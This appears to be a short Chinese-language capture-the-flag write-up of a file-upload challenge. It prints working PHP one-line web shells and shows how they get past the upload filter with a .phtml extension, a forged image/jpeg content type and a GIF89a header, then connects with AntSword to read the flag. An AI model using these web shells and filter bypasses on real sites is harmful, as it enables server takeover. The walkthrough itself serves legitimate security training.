题目环境：
根据题目和环境可知此题目是一道文件上传漏洞
编写一句话木马脚本
<?php @eval($_POST['shell']);?>
将脚本文件更改为jpg图片文件
我这里是flag.jpg
上传文件并burpsuite抓包
Repeater重放
报错一句话木马里面有<?字符
换一种一句话木马
继续编写木马脚本
<script language="php">@eval($_POST['shell']);</script>
保存为flag.phtml文件
绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht
因为前几个都被过滤了，所以选择使用phtml后缀
上传抓包
修改为image/jpeg图片格式
Repeater重放Send
不是图片
通过GIF89a进行绕过
GIF89a<script language="php">@eval($_POST['shell']);</script>
使文件为动态GIF文件绕过检测
访问upload/flag.phtml文件
上传成功
复制URL链接
使用中国蚁剑连接
在/根目录下找到flag文件
访问flag文件
得到flag：
flag{5359382e-ae88-42a8-8116-8c85a02fb21f}